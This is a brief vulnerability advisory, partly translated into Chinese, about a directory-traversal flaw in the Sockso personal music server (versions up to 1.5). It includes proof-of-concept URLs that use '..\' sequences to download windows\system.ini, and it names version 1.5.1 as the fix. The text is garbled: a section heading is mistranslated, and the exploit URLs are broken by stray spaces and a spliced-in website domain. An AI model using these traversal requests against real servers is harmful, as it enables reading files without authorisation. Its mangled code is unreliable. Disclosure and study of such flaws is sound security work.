####################################################################### Luigi Auriemma 程序: Sockso http://sockso.pu-gh.com 影响版本 <= 1.5 平台: Windows, Mac, Linux 缺陷: directory traversal 执行: remote 作者: Luigi Auriemma ####################################################################### 1) 概括 2) Bug 3) The Code 4)修复 ####################################################################### =============== 1)接受啊 =============== 摘自作者主页: "Sockso是免费开源的个人音乐服务程序! It's designed to be as simple as possible so that anyone with a mouse and some mp3's can get their friends listening to their music across the internet in seconds!" ####################################################################### ====== 2) Bug ====== The server is affected by a directory traversal vulnerability that allows downloading arbitrary files from the disk where the software is installed. ####################################################################### =========== 3) The Code =========== http://SERVER:4444/file/ windows /system.ini http://www.2cto.com /file/..\..\..\..\..\windows\system.ini ####################################################################### ====== 4)修复 ====== 升级到 1.5.1版 #######################################################################
查看更多关于Sockso <= 1.5目录遍历缺陷及修复 - 网站安全 - 自的详细内容...